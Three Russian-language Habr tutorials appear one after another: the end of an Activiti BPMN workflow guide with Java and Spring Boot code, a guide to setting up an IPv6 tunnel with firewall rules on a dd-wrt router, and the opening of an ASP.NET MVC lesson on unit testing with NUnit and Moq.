Таким образом процесс после задачи Develop остановится на ней, состояние будет сохранено в базе.
В общем цикл выглядит так:
Запросить задачу на исполнителя
```
tasks = taskService.createTaskQuery().taskCandidateGroup("...").list();
```
Определение переменных
```
Map variables = new HashMap();
...
variables.put("var\_1", value);
```
Исполнение задачи
```
taskService.complete(task.getId(), variables);
```
Проверка окончания процесса
```
ProcessInstance processInstance = runtimeService.createProcessInstanceQuery()
.processInstanceId(processInstance.getId()).singleResult();
if (processInstance != null && !processInstance.isEnded())
```
После каждого выполнения задачи, процесс приостанавливается, до выполнения новой задачи.
Так после выполнения Develop, перейдем к задаче Test, тут тоже будет предложено ввести переменную «devResult» — результат разработки (получилось не совсем корректно, еще до начала Test, вводим результат), а далее по результату будет будет ветвление или окончание (Ok) или опять на разработку (No), см. схему процесса.
В этом случае на разработку, и.т.д. Если теперь запросить задачи на разработчика, то они будут, а на тестирование — нет.
**Код программы**
```
package com.example;
import org.activiti.engine.*;
import org.activiti.engine.form.FormData;
import org.activiti.engine.form.FormProperty;
import org.activiti.engine.repository.Deployment;
import org.activiti.engine.runtime.ProcessInstance;
import org.activiti.engine.task.Task;
import org.apache.commons.lang3.StringUtils;
import java.util.*;
public class DemoActiviti {
private static final String DEV_PROCESS = "devProcess";
public static void main(String[] args) {
Locale.setDefault(Locale.ENGLISH);
ProcessEngineConfiguration cfg = ProcessEngineConfiguration
.createProcessEngineConfigurationFromResource("activiti.cfg.xml");
ProcessEngine processEngine = cfg.buildProcessEngine();
RepositoryService repositoryService = processEngine.getRepositoryService();
String mode = StringUtils.EMPTY;
if (args.length > 0) {
mode = args[0];
}
System.out.println("Processes mode: " + mode);
Deployment deployment;
if ("deploy".equals(mode)) {
deployment = repositoryService.createDeployment()
.addClasspathResource("processes/MyProcess.bpmn").deploy();
System.out.println("deploy process success");
System.exit(0);
} else {
List myProcesses = repositoryService.createDeploymentQuery()
.processDefinitionKey(DEV\_PROCESS).list();
deployment = myProcesses.get(myProcesses.size()-1);
System.out.println("get process success:" + deployment.getId());
}
//
RuntimeService runtimeService = processEngine.getRuntimeService();
ProcessInstance processInstance;
if ("start".equals(mode)){
ProcessInstance myProcess = runtimeService.startProcessInstanceByKey(DEV\_PROCESS);
System.out.println("start process success:" + myProcess.getName() +", id="+ myProcess.getId());
System.exit(0);
}
processInstance = runtimeService.createProcessInstanceQuery().deploymentId(deployment.getId()).singleResult();
TaskService taskService = processEngine.getTaskService();
FormService formService = processEngine.getFormService();
List tasks = new ArrayList<>();
if ("develop".equals(mode)) {
System.out.println("develop mode");
// получить задачи для разработчика
tasks = taskService.createTaskQuery().taskCandidateGroup("programmers").list();
if (tasks.isEmpty()) {
System.out.println("Задач на разработку нет");
System.exit(0);
}
}
if ("test".equals(mode)) {
System.out.println("test mode");
// получить задачи для тестирования
tasks = taskService.createTaskQuery().taskCandidateGroup("testers").list();
if (tasks.isEmpty()) {
System.out.println("Задач на тестирование нет");
System.exit(0);
}
}
Scanner scanner = new Scanner(System.in);
if (processInstance != null && !processInstance.isEnded()) {
System.out.println("tasks count: [" + tasks.size() + "]");
for (Task task : tasks) {
System.out.println("Task:" + task.getTaskDefinitionKey() + ", id=" + task.getId());
FormData formData = formService.getTaskFormData(task.getId());
Map variables = new HashMap();
// переменные задачи
for (FormProperty formProperty : formData.getFormProperties()) {
System.out.println("Enter varName <" + formProperty.getName() +">:");
String value = scanner.nextLine();
variables.put(formProperty.getId(), value);
}
// выполняем задачу
taskService.complete(task.getId(), variables);
System.out.println("Task complete success:" + task.getTaskDefinitionKey());
}
// Re-query the process instance, making sure the latest state is available
//processInstance = runtimeService.createProcessInstanceQuery()
// .processInstanceId(processInstance.getId()).singleResult();
}
}
}
```
### Подключение SpringBoot
Модифицируем проект с использованием Spring
Добавляем в POM зависимости
**POM с SpringBoot**
```
org.springframework.boot
spring-boot-starter-parent
1.3.1.RELEASE
org.activiti
activiti-spring-boot-starter-basic
6.0.0
org.activiti
6.0.0
activiti-spring-boot-starter-integration
....
```
DemoActiviti класс теперь стал таким
**DemoActiviti - SpringBootApplication**
```
@SpringBootApplication
@ImportResource("classpath:activiti.cfg.xml")
public class DemoActiviti {
public static void main(String[] args) {
Locale.setDefault(Locale.ENGLISH);
SpringApplication.run(DemoActiviti.class, args);
}
}
```
Я использую смешанную модель — когда часть бинов описываются в xml конфигурации (@ImportResource(«classpath:activiti.cfg.xml»)), а другая определяется через аннотации.
**activiti.cfg.xml - spring**
```
xml version="1.0" encoding="UTF-8"?
```
Теперь за конфигурацию отвечает Spring, это видно
```
bean id="processEngineConfiguration" class="org.activiti.spring.SpringProcessEngineConfiguration"
```
Добавим для SpringBoot стандартную обработку командной строки, в виде компоненты
**CommandLine**
```
@Component
public class CommandLine implements CommandLineRunner {
@Autowired
private DemoService demoService;
public void run(String... args) {
if ("test".equals(args[0])) {
demoService.startTest();
} else if ("develop".equals(args[0])) {
demoService.startDevelop();
}
}
}
```
Который обработает все те команды, я не буду их все реализовывать, там все просто, покажу две: test и develop. И добавим сервис для их обработки
**DemoService**
```
@Service
public class DemoService {
@Autowired
private TaskService taskService;
@Autowired
private FormService formService;
public void startTest() {
List tasks = taskService.createTaskQuery().taskCandidateGroup("testers").list();
if (tasks.isEmpty()) {
System.out.println("Задач на тестирование нет");
return;
}
processTasks(tasks);
}
public void startDevelop() {
List tasks = taskService.createTaskQuery().taskCandidateGroup("develop").list();
if (tasks.isEmpty()) {
System.out.println("Задач на разработку нет");
return;
}
processTasks(tasks);
}
private void processTasks(List tasks) {
Scanner scanner = new Scanner(System.in);
for (Task task : tasks) {
...... тут как и ранее, выше
}
```
В компоненте CommandLine Autowir-им сервис DemoService, а в нем уже подготовленные Spring сервисы Activiti
```
@Autowired
private TaskService taskService;
```
Собираем, запускаем как и ранее из командной строки.
Если хотим использовать выполнение задач из Web, то подключаем REST API.
### REST API
SpringBoot по умолчанию предоставит embedded Tomcat сервер, а далее дело техники.
В POM, к тому что есть, добавляем spring web зависимость
```
org.springframework.boot
spring-boot-starter-web
```
CommandLine компонент удаляем, теперь все будет поступать через URL по HTTP. Добавляем RestController:
**RestController**
```
@RestController
public class DemoRestController {
@Autowired
private DemoService demoService;
@RequestMapping(value="/test", method= RequestMethod.GET,
produces= {MediaType.APPLICATION_JSON_VALUE})
public List startTest(@RequestParam String devResult) {
List strings = demoService.startTest(devResult);
return strings;
}
@RequestMapping(value="/develop", method= RequestMethod.GET,
produces= MediaType.APPLICATION\_JSON\_VALUE)
public List startDevelop(@RequestParam String issue) {
List strings = demoService.startDevelop(issue);
return strings;
}
@RequestMapping(value="/start", method= RequestMethod.GET,
produces= MediaType.APPLICATION\_JSON\_VALUE)
public List startProcess() {
List strings = demoService.startDevProcess();
return strings;
}
}
```
Те же команды выполняем, немного изменил ответы сервиса DemoService-а, который Autowire-тся в контроллере.
**DemoService**
```
@Service
public class DemoService {
@Autowired
private TaskService taskService;
@Autowired
private FormService formService;
@Autowired
private RuntimeService runtimeService;
public List startTest(String devResult) {
List results = new ArrayList<>();
List tasks = taskService.createTaskQuery().taskCandidateGroup("testers").list();
if (tasks.isEmpty()) {
results.add("The tasks for testing are not");
return results;
}
Object issue = runtimeService.getVariables(tasks.get(0).getProcessInstanceId()).get("issue");
processTasks(tasks, devResult);
results.add("Task N " + issue + " - tested, result=" + devResult);
return results;
}
public List startDevelop(String issue) {
List results = new ArrayList<>();
List tasks = taskService.createTaskQuery().taskCandidateGroup("programmers").list();
if (tasks.isEmpty()) {
results.add("There are no development tasks");
return results;
}
processTasks(tasks, issue);
Object mIssue = runtimeService.getVariables(tasks.get(0).getProcessInstanceId()).get("issue");
results.add("Task N " + mIssue + " - taken in the develop");
return results;
}
public List startDevProcess() {
List results = new ArrayList<>();
ProcessInstance myProcess = runtimeService.startProcessInstanceByKey("devProcess");
results.add("The process is started #"+myProcess.getId());
return results;
}
private void processTasks(List tasks, String param) {
for (Task task : tasks) {
FormData formData = formService.getTaskFormData(task.getId());
Map variables = new HashMap<>();
// переменные задачи
for (FormProperty formProperty : formData.getFormProperties()) {
variables.put(formProperty.getId(), param);
}
// выполняем задачу
taskService.complete(task.getId(), variables);
}
}
}
```
тестируем с использованием curl, вот результат:
Порт для Tomcat я изменил на 8081 в application.properties
server.port=8081
### Activiti Job
В Activiti много конструкций, так например запуск задач по расписанию это «TimerStartEvent». Для того что бы Job начал исполняться в конфинге надо указать
`property name="asyncExecutorActivate" value="true"` (см. activiti.cfg.xml), тогда java процесс останется запущенным и будет проверять расписание и запускать задачи.
Вернусь к начальному проекту, где используется Activiti в чистом виде.
В DemoActiviti классе оставлю поддержку только двух команд: deploy и start Сделаю новый процесс
После старта процесса он перейдет к таймеру который по расписанию будет запускать задачу «Develop». Расписание у таймера будет — запуск каждые 10 сек., cron выражение — «0/10 \* \* \* \* ?».
Сделаем deploy нового процесса как и ранее, затем стартуем процесс (start). Все — задача выполняется каждые 10 сек.
В качестве задачи выбрана компонента Activiti — ServiceTask, у которого можно указать в качестве реализации Java class
**класс DemoDelegate**
```
public class DemoDelegate implements JavaDelegate {
@Override
public void execute(DelegateExecution execution) {
Date now = new Date();
execution.setVariable("issue", now.toString());
System.out.println("job start="+now);
}
}
```
В таблице в базе (select \* from ACT\_RU\_TIMER\_JOB t) можно видеть
активность Job-а, в поле DUEDATE\_ будет время следующего запуска.
В истории исполнения будет фиксироваться переменная «issue» из Delegate
```
select * from ACT_HI_VARINST t
```
**код для DemoActiviti c Job**
```
public class DemoActiviti {
private static final String DEV_PROCESS = "devProcessJob";
public static void main(String[] args) {
Locale.setDefault(Locale.ENGLISH);
ProcessEngineConfiguration cfg = ProcessEngineConfiguration
.createProcessEngineConfigurationFromResource("activiti.cfg.xml");
ProcessEngine processEngine = cfg.buildProcessEngine();
RepositoryService repositoryService = processEngine.getRepositoryService();
String mode = StringUtils.EMPTY;
if (args.length > 0) {
mode = args[0];
}
System.out.println("Processes mode: " + mode);
Deployment deployment;
if ("deploy".equals(mode)) {
deployment = repositoryService.createDeployment()
.addClasspathResource("processes/MyProcessJob.bpmn").deploy();
System.out.println("deploy process success");
System.exit(0);
} else {
List myProcesses = repositoryService.createDeploymentQuery()
.processDefinitionKey(DEV\_PROCESS).list();
deployment = myProcesses.get(myProcesses.size()-1);
System.out.println("get process success:" + deployment.getId());
}
//
RuntimeService runtimeService = processEngine.getRuntimeService();
ProcessInstance processInstance;
if ("start".equals(mode)){
ProcessInstance myProcess = runtimeService.startProcessInstanceByKey(DEV\_PROCESS);
System.out.println("start process success:" + myProcess.getName() +", id="+ myProcess.getId());
}
}
}
```
За бортом осталось еще многое: События, Listener, JPA и др., возможно к ним еще вернусь.
Материалы
[Activiti](https://www.activiti.org/userguide)
[Eclipse Designer](https://www.activiti.org/userguide/#eclipseDesignerInstallation)
**devProcess bpmn**
```
xml version="1.0" encoding="UTF-8"?
${devResult == "Ok"}
```
**devProcessJob bpmn**
```
xml version="1.0" encoding="UTF-8"?
0/10 \* \* \* \* ?
``` | https://habr.com/ru/post/416491/ | null | ru | null |
# Включаем IPv6 на dd-wrt
Если верить статистике на сайте [tunnelbroker.net](http://tunnelbroker.net/) то до исчерпания пула IPv4 адресов осталось полтора года. И я решил рассказать как перевести свой маршрутизатор под управлением dd-wrt на новый протокол. Тестировалось на Dir-320, но должно работать и на любом другом ашан-роутере, который поддерживается [dd-wrt](http://dd-wrt.com/site/support/router-database).
К сожалению в последних версиях (24 r13064) поддержка IPv6 не реализована. Поэтому берём [вот эту самоделку](http://www.crushedhat.com/downloads/DD-WRT/dd-wrt.v24-10070_crushedhat_4MB.bin) и прошиваем её. Лично я даунгрейдился (есть нормальный русский аналог этому слову? :) ) с 13064 до 10070 и настроек не сбрасывал.
Далее, идём на сайт [Hurricane Electric](http://www.tunnelbroker.net/), где регистрируемся, вбиваем свой реальный IPv4 адрес (Create a Regular tunnel), получаем список настроек и наш новый IPv6 адрес. Из всего списка нас будут интересовать три строчки: Server IPv4 address, Server IPv6 address и Routed /64.
Теперь приступаем к настройкам непосредственно внутри dd-wrt.
Заходим в web-интерфейс по ссылкам:
* **Security / Firewall**: снимаем галку с **Block anonymous WAN requests (ping)** для того что бы наш брокер нас увидел.
* **Administration / Management**: активируем **IPv6** и **Radvd**
* В поле **radvd config** вставляем следующий пассаж:
`interface br0
{
AdvSendAdvert on;
prefix **ваш\_Routed\_64**
{
AdvOnLink on;
AdvAutonomous on;
};
};`
ваш\_Routed\_64 заменяете на то что у вас в строке Routed /64
* 
* **Administration / Commands**: нажимаем на **Save Startup**
* Вбиваем в верхнее поле:
`ip tunnel add he-ipv6 mode sit remote **ваш\_Server\_IPv4\_address** ttl 64
ip link set he-ipv6 up
ip addr add **ваш\_Server\_IPv6\_address** dev he-ipv6
ip route add ::/0 dev he-ipv6
ip addr add **ваш\_Routed\_64** dev br0`
Заменяя соответственно:
ваш\_Server\_IPv4\_address — Server IPv4 address
ваш\_Server\_IPv6\_address — Server IPv6 address
ваш\_Routed\_64 — Routed /64
* **Administration / Commands**: нажимаем на **Save Firewall**
* Вбиваем в верхнее поле:
`insmod ip6t_REJECT
ip6tables -F
ip6tables -A FORWARD -p tcp -i he-ipv6 -syn -m multiport –dports ftp-data,ftp,ssh,smtp,http,https,ntp,domain -j ACCEPT
ip6tables -A FORWARD -p tcp -i he-ipv6 -syn -j REJECT -reject-with adm-prohibited
ip6tables -A FORWARD -p udp -i he-ipv6 -m multiport -dports ntp,domain -j ACCEPT
ip6tables -A FORWARD -p udp -i he-ipv6 -j REJECT -reject-with adm-prohibited`
* В итоге должно получиться так:
На этом настройка dd-wrt закончена. На клиентах, если у вас коробочный продукт, делать ничего не надо. Остаётся только перезагрузить роутер и проверить работоспособность пингом (например, как на первой картинке) или зайдя на сайт [kame.net](http://www.kame.net/). Если черепашка шевелится, то всё в порядке.
Для более вдумчивого анализа есть немного сумбурный, но полезный [документ на сайте dd-wrt](http://www.dd-wrt.com/wiki/index.php/IPv6) | https://habr.com/ru/post/94952/ | null | ru | null |
# ASP.NET MVC Урок E. Тестирование
**Цель урока.** Научиться создавать тесты для кода. NUnit. Принцип применения TDD. Mock. Юнит-тесты. Интегрированное тестирование. Генерация данных.
##### Тестирование, принцип TDD, юнит-тестирование и прочее.
Тестирование для меня лично – это тема многих размышлений. Нужны или не нужны тесты? Но никто не будет спорить, что для написания тестов нужны ресурсы.
Рассмотрим два случая:
1. Мы делаем сайт, показываем заказчику, он высылает список неточностей и дополнительных пожеланий, мы их бодро правим и сайт отдаем заказчику, т.е. выкладываем на его сервер. На его сервер никто не ходит, заказчик понимает, что чуда не произошло и перестает платить за хостинг/домен. Сайт умирает. Нужны ли там тесты?
2. Мы делаем сайт, показываем заказчику, он высылает список правок, мы их бодро правим, запускаем сайт. Через полгода на сайте 300 уников в день и эта цифра растет изо дня в день. Заказчик постоянно просит новые фичи, старый код начинает разрастаться, и со временем его всё сложнее поддерживать.
Видите ли, тут дилемма такова, что результат запуска сайта непредсказуемый. У меня было и так, что сделанный на коленке сайт запустился весьма бодро, а бывало, что крутую работу заказчик оплатил, но даже не принял. Итак, тактика поведения может быть такой:
* Писать тесты всегда. Мы крутая компания, мы покрываем 90% кода всяческими тестами, и нам реально всё равно, что мы тратим на это в 100500 раз больше времени/денег, ведь результат полностью предсказуем и мы вообще красавцы.
* Не писать тесты никогда. Мы крутая компания, мы настолько идеально работаем, что можем в уме пересобрать весь проект, и если наш код компилируется, это значит, что он полностью рабочий. Если что-то не работает, то вероятно это хостинг, или ошибка в браузере. или фича такая.
* Писать тесты, но не всегда. Тут мы должны понять, что каким бы ни был сайт или проект, то он состоит из функционала. А это значит, что пользователям должны быть предоставлены всяческие возможности, и возможности важные, я бы даже сказал — критические, как-то зарегистрироваться на сайте, сделать заказ, добавить новость или комментарий. Неприятно, когда хочешь, а не можешь зарегистрироваться, ведь сайт-то нужный.
* Для чего используются тесты? Это как принцип ведения двойной записи в бухгалтерии. Каждое действие, каждый функционал проверяется не только работоспособностью сайта, но и еще как минимум одним тестом. При изменении кода юнит-тесты указывают, что имнно пошло не так и красным подсвечивают места, где произошло нарушение. Но так ли это?
Рассмотрим принцип TDD:
1. Прочитать задание и написать тест, который заваливается
2. Написать любой код, который позволяет проходить данный тест и остальные тесты
3. Сделать рефакторинг, т.е. убрать повторяющийся код, если надо, но чтобы все тесты проходили
Например, было дано следующее исправление:
Мы решили добавить в блог поле тегов. Так как у нас уже существует много записей в блоге, то это поле решили сделать необязательным. Так как уже есть существующий код, то скаффолдингом не пользовались. Вручную проверили создание записи – всё ок. Прогнали тесты – всё ок. Но забыли добавить изменение поля в UpdatePost (cache.Tags = instance.Tags;). При изменении старой записи мы добавляем теги, которые собственно не сохраняются. При этом тесты прошли на ура. Жизнь — боль!
Что ж, как видно, мы нарушили основной принцип TDD – вначале пиши тест, который заваливается, а уже потом пиши код, который его обрабатывает. Но(!) тут есть и вторая хитрость — мы написали тест, который проверяет создание записи блога с тегом. Конечно, сразу же у нас это не скомпилировалось (т.е. тест не прошел), но мы добавили в ModelView что-то типа throw new NotImplementedException(). Всё скомпилировалось, тест горит красным, мы добавляем это поле с тегом, убирая исключение, тест проходит. Все остальные тесты тоже проходят. Принципы соблюдены, а ошибка осталась.
Что я могу сказать, на каждый принцип найдется ситуация, где он не сработает. Т.е. нет такого – отключили мозги и погнали. Одно можно сказать точно, и это главный вывод из этих рассуждений:
тесты должны писаться быстро
Так какие же задачи мы решаем в основном на сайте:
* Добавление информации
* Проверка информации
* Изменение информации
* Удаление информации
* Проверка прав на действие
* Выдача информации
Это основные действия. Как, например, проходит регистрация:
* Показываем поля для заполнения
* При нажатии на «Зарегистрироваться» проверяем данные
* Если всё удачно, то выдаем страничку «Молодец», если же не всё хорошо, то выдаем предупреждение и позволяем исправить оплошность
* Если всё хорошо, то в БД у нас появляется запись
* А еще мы письмо с активацией отправляем
Создадим для всего этого юнит-тесты:
* Что мы показываем ему поля для заполнения (т.е. передаем пустой объект класса RegisterUserView)
* Что у нас стоят атрибуты и всё такое, проверяем, что действительно ли мы проверяем, что можно записать в БД
* Что выдаем именно «Молодец» страницу
* Что появляется запись, что было две записи, а стало три записи
* Что пытаемся что-то отправить, находим шаблон и вызвываем MailNotify.
Приступим, пожалуй.
##### Установить NUnit
Идем по ссылке <http://sourceforge.net/projects/nunit/> и устанавливаем NUnit. Так же в VS устанавливаем NUnit Test Adapter (ну чтобы запускать тесты прямо в VS).
Создадим папочку типа Solution Folder Test и в нее добавим проект LessonProject.UnitTest и установим там NUnit:
```
Install-Package NUnit
```
Создадим класс UserControllerTest в (/Test/Default/UserContoller.cs):
```
[TestFixture]
public class UserControllerTest
{
}
```
Итак, принцип написания наименования методов тестов Method\_Scenario\_ExpectedBehavior:
* Method – метод [или свойство], который тестируем
* Scenario – сценарий, который мы тестируем
* ExpectedBehavior – ожидаемое поведение
Например, проверяем первое, что возвращаем View c классом UserView для регистрации:
```
public void Register_GetView_ItsOkViewModelIsUserView()
{
Console.WriteLine("=====INIT======");
var controller = new UserController();
Console.WriteLine("======ACT======");
var result = controller.Register();
Console.WriteLine("====ASSERT=====");
Assert.IsInstanceOf(result);
Assert.IsInstanceOf(((ViewResult)result).Model);
}
```
Итак, все тесты делятся на 3 части Init->Act->Assert:
* Init – инициализация, мы получаем наш UserController
* Act – действие, мы запускаем наш controller.Register
* Assert – проверка, что всё действительно так.
Откроем вкладку Test Explorer:
Если адаптер NUnit правильно был установлен, то мы увидим наш тест-метод.
Запускаем. Тест пройден, можно идти открывать шампанское. Стоооп. Это лишь самая легкая часть, а как быть с той частью, где мы что-то сохраняем. В данном случае мы не имеем БД, наш Repositary – null, ноль, ничего.
Изучим теперь класс и методы для инициализации (документация). **SetUpFixture** – класс, помеченный этим атрибутом, означает, что в нем есть методы, которые проводят инициализацию перед тестами и зачистку после тестов. Это относится к одному и тому же пространству имен.
* Setup – метод, помеченный этим атрибутом, вызывается до выполнения всех тестовых методов. Если находится в классе с атрибутом TestFixture, то вызывается перед выполнением методов только этого класса.
* TearDown – метод, помеченный этим атрибутом, вызывается после выполнения всех тестов. Если находится в классе с атрибутом TestFixture, то вызывается после выполнения всех методов.
Создадим класс UnitTestSetupFixture.cs (/Setup/UnitTestSetupFixture.cs):
```
[SetUpFixture]
public class UnitTestSetupFixture
{
[SetUp]
public void Setup()
{
Console.WriteLine("===============");
Console.WriteLine("=====START=====");
Console.WriteLine("===============");
}
[TearDown]
public void TearDown()
{
Console.WriteLine("===============");
Console.WriteLine("=====BYE!======");
Console.WriteLine("===============");
}
}
```
Запустим и получим:
`===============
=====START=====
===============
=====INIT======
======ACT======
====ASSERT=====
===============
=====BYE!======
===============`
##### Mock
Итак, Mock – это объект-пародия. Т.е. например, не база данных, а что-то похожее на базу данных. Мираж, в общем-то. Есть еще Stub – это заглушка. Пример метода заглушки:
```
public int GetRandom()
{
return 4;
}
```
Но мы будем использовать Mock:
```
Install-Package Moq
```
Определим, какое окружение есть у нас, чтобы мы проинициализировали для него Mock-объекты. В принципе, это всё, что мы некогда вынесли в Ninject Kernel:
* IRepository
* IConfig
* IMapper
* IAuthentication
И тут я сделаю небольшое замечание. Мы не можем вынести Config в объекты-миражи. Не в плане, что это совсем невозможно, а в плане – что это плохая затея. Например, мы изменили шаблон письма так, что string.Format() выдает ошибку FormatException. А в тесте всё хорошо, тест отлично проходит. И за что он после этого отвечает? Ни за что. Так что файл конфигурации надо использовать оригинальный. Оставим это на потом.
По поводу, IMapper – в этом нет необходимости, мы совершенно спокойно можем использовать и CommonMapper.
Но для начала проинициазируем IKernel для работы в тестовом режиме. В App\_Start/NinjectWebCommon.cs мы в методе RegisterServices указываем, как должны быть реализованы интерфейсы, и вызываем это в bootstrapper.Initialize(CreateKernel). В дальнейшем мы обращаемся по поводу получения сервиса через DependencyResolver.GetService(). Так что создадим NinjectDependencyResolver (/Tools/NinjectDependencyResolver.cs):
```
public class NinjectDependencyResolver : IDependencyResolver
{
private readonly IKernel _kernel;
public NinjectDependencyResolver(IKernel kernel)
{
_kernel = kernel;
}
public object GetService(Type serviceType)
{
return _kernel.TryGet(serviceType);
}
public IEnumerable GetServices(Type serviceType)
{
try
{
return \_kernel.GetAll(serviceType);
}
catch (Exception)
{
return new List();
}
}
}
```
Добавим в SetUp метод (/Setup/UnitTestSetupFixture.cs):
```
[SetUp]
public virtual void Setup()
{
InitKernel();
}
protected virtual IKernel InitKernel()
{
var kernel = new StandardKernel();
DependencyResolver.SetResolver(new NinjectDependencyResolver(kernel));
InitRepository(kernel); //потом сделаем
return kernel;
}
```
Создадим MockRepository
(/Mock/Repository/MockRepository.cs):
```
public partial class MockRepository : Mock
{
public MockRepository(MockBehavior mockBehavior = MockBehavior.Strict)
: base(mockBehavior)
{
GenerateRoles();
GenerateLanguages();
GenerateUsers();
}
}
```
(/Mock/Repository/Entity/Language.cs)
```
namespace LessonProject.UnitTest.Mock
{
public partial class MockRepository
{
public List Languages { get; set; }
public void GenerateLanguages()
{
Languages = new List();
Languages.Add(new Language()
{
ID = 1,
Code = "en",
Name = "English"
});
Languages.Add(new Language()
{
ID = 2,
Code = "ru",
Name = "Русский"
});
this.Setup(p => p.Languages).Returns(Languages.AsQueryable());
}
}
}
```
(/Mock/Repository/Entity/Role.cs)
```
public partial class MockRepository
{
public List Roles { get; set; }
public void GenerateRoles()
{
Roles = new List();
Roles.Add(new Role()
{
ID = 1,
Code = "admin",
Name = "Administrator"
});
this.Setup(p => p.Roles).Returns(Roles.AsQueryable());
}
}
```
(/Mock/Repository/Entity/User.cs)
```
public partial class MockRepository
{
public List Users { get; set; }
public void GenerateUsers()
{
Users = new List();
var admin = new User()
{
ID = 1,
ActivatedDate = DateTime.Now,
ActivatedLink = "",
Email = "admin",
FirstName = "",
LastName = "",
Password = "password",
LastVisitDate = DateTime.Now,
};
var role = Roles.First(p => p.Code == "admin");
var userRole = new UserRole()
{
User = admin,
UserID = admin.ID,
Role = role,
RoleID = role.ID
};
admin.UserRoles =
new EntitySet() {
userRole
};
Users.Add(admin);
Users.Add(new User()
{
ID = 2,
ActivatedDate = DateTime.Now,
ActivatedLink = "",
Email = "chernikov@gmail.com",
FirstName = "Andrey",
LastName = "Chernikov",
Password = "password2",
LastVisitDate = DateTime.Now
});
this.Setup(p => p.Users).Returns(Users.AsQueryable());
this.Setup(p => p.GetUser(It.IsAny())).Returns((string email) =>
Users.FirstOrDefault(p => string.Compare(p.Email, email, 0) == 0));
this.Setup(p => p.Login(It.IsAny(), It.IsAny())).Returns((string email, string password) =>
Users.FirstOrDefault(p => string.Compare(p.Email, email, 0) == 0));
}
}
```
Рассмотрим, как работает Mock. У него есть такой хороший метод, как Setup (опять?! сплошной сетап!), который работает таким образом:
`this.Setup(что у нас запрашивают).Returns(что мы отвечаем на это);`
Например:
`this.Setup(p => p.WillYou()).Returns(true);`
Рассмотрим подробнее, какие еще могут быть варианты:
* Методы
```
var mock = new Mock();
mock.Setup(foo => foo.DoSomething("ping")).Returns(true);
```
+ параметр out
```
var outString = "ack";
mock.Setup(foo => foo.TryParse("ping", out outString)).Returns(true);
```
+ ссылочный параметр
```
var instance = new Bar();
mock.Setup(foo => foo.Submit(ref instance)).Returns(true);
```
+ зависимость от входного параметра и возвращаемого значения (можно и несколько параметров)
```
mock.Setup(x => x.DoSomething(It.IsAny()))
.Returns((string s) => s.ToLower());
```
+ кидаем исключение
```
mock.Setup(foo => foo.DoSomething("reset")).Throws();
mock.Setup(foo => foo.DoSomething("")).Throws(new ArgumentException("command");
```
+ возвращает различные значения для (???) и использование Callback
```
var mock = new Mock();
var calls = 0;
mock.Setup(foo => foo.GetCountThing())
.Returns(() => calls)
.Callback(() => calls++);
```
* Соответсвие на аргументы
+ любое значение
```
mock.Setup(foo => foo.DoSomething(It.IsAny())).Returns(true);
```
+ условие через Func
```
mock.Setup(foo => foo.Add(It.Is(i => i % 2 == 0))).Returns(true);
```
+ нахождение в диапазоне
```
mock.Setup(foo => foo.Add(It.IsInRange(0, 10, Range.Inclusive))).Returns(true);
```
+ Regex выражение
```
mock.Setup(x => x.DoSomething(It.IsRegex("[a-d]+", RegexOptions.IgnoreCase))).Returns("foo");
```
* Свойства
+ Любое свойство
```
mock.Setup(foo => foo.Name).Returns("bar");
```
+ Любой иерархии свойство
```
mock.Setup(foo => foo.Bar.Baz.Name).Returns("baz");
```
* Обратные вызовы (callback)
+ Без параметров
```
mock.Setup(foo => foo.Execute("ping"))
.Returns(true)
.Callback(() => calls++);
```
+ С параметром
```
mock.Setup(foo => foo.Execute(It.IsAny()))
.Returns(true)
.Callback((string s) => calls.Add(s));
```
+ С параметром, немного другой синтаксис
```
mock.Setup(foo => foo.Execute(It.IsAny()))
.Returns(true)
.Callback(s => calls.Add(s));
```
Несколько параметров
```
mock.Setup(foo => foo.Execute(It.IsAny(), It.IsAny()))
.Returns(true)
.Callback((i, s) => calls.Add(s));
```
До и после вызова
```
mock.Setup(foo => foo.Execute("ping"))
.Callback(() => Console.WriteLine("Before returns"))
.Returns(true)
.Callback(() => Console.WriteLine("After returns"));
```
Проверка (Mock объект сохраняет количество обращений к своим параметрам, тем самым мы также можем проверить правильно ли был исполнен код)
+ Обычная проверка, что был вызван метод Execute с параметром “ping”
```
mock.Verify(foo => foo.Execute("ping"));
```
+ С добавлением собственного сообщения об ошибке
```
mock.Verify(foo => foo.Execute("ping"), "When doing operation X, the service should be pinged always");
```
+ Не должен был быть вызван ни разу
```
mock.Verify(foo => foo.Execute("ping"), Times.Never());
```
+ Хотя бы раз должен был быть вызван
```
mock.Verify(foo => foo.Execute("ping"), Times.AtLeastOnce());
mock.VerifyGet(foo => foo.Name);
```
+ Должен был быть вызван именно сеттер для свойства
```
mock.VerifySet(foo => foo.Name);
```
+ Должен был быть вызван сеттер со значением “foo”
```
mock.VerifySet(foo => foo.Name = "foo");
```
+ Сеттер должен был быть вызван со значением в заданном диапазоне
```
mock.VerifySet(foo => foo.Value = It.IsInRange(1, 5, Range.Inclusive));
```
Хорошо, этого нам пока хватит, остальное можно будет почитать здесь:
<https://code.google.com/p/moq/wiki/QuickStart>
Возвращаемся обратно в UnitTestSetupFixture.cs (/Setup/UnitTestSetupFixture.cs) и инициализируем конфиг:
```
protected virtual void InitRepository(StandardKernel kernel)
{
kernel.Bind().To().InThreadScope();
kernel.Bind().ToMethod(p => kernel.Get().Object);
}
```
Проверим какой-то наш вывод, например класс /Default/Controllers/UserController:cs:
```
[Test]
public void Index_GetPageableDataOfUsers_CountOfUsersIsTwo()
{
//init
var controller = DependencyResolver.Current.GetService();
//act
var result = controller.Index();
Assert.IsInstanceOf(result);
Assert.IsInstanceOf>(((ViewResult)result).Model);
var count = ((PageableData)((ViewResult)result).Model).List.Count();
Assert.AreEqual(2, count);
}
```
В BaseController.cs (/LessonProject/Controllers/BaseController.cs) уберем атрибуты `Inject` у свойств `Auth` и `Config` (иначе выделенная строка не сможет проинициализовать контроллер и вернет null). Кстати о выделенной строке. Мы делаем именно такую инициализацию, чтобы все Inject-атрибутованные свойства были проинициализированы. Запускаем, и, правда, count == 2. Отлично, MockRepository работает. Вернем назад атрибуты `Inject`.
Кстати, тесты не запускаются обычно в дебаг-режиме, чтобы запустить Debug надо сделать так:
Теперь поработаем с Config. Это будет круто!
##### TestConfig
Что нам нужно сделать. Нам нужно:
+ Взять Web.Config c проекта LessonProject (каким-то хитрым образом)
+ И на его базе создать некий класс, который будет реализовывать IConfig интерфейс
+ Ну и поцепить на Ninject Kernel
+ И можно использовать.
Начнем. Для того чтобы взять Web.Config – нам нужно скопировать его в свою папку. Назовем её Sandbox. Теперь скопируем, поставим на pre-build Event в Project Properties:
```
xcopy $(SolutionDir)LessonProject\Web.config $(ProjectDir)Sandbox\ /y
```
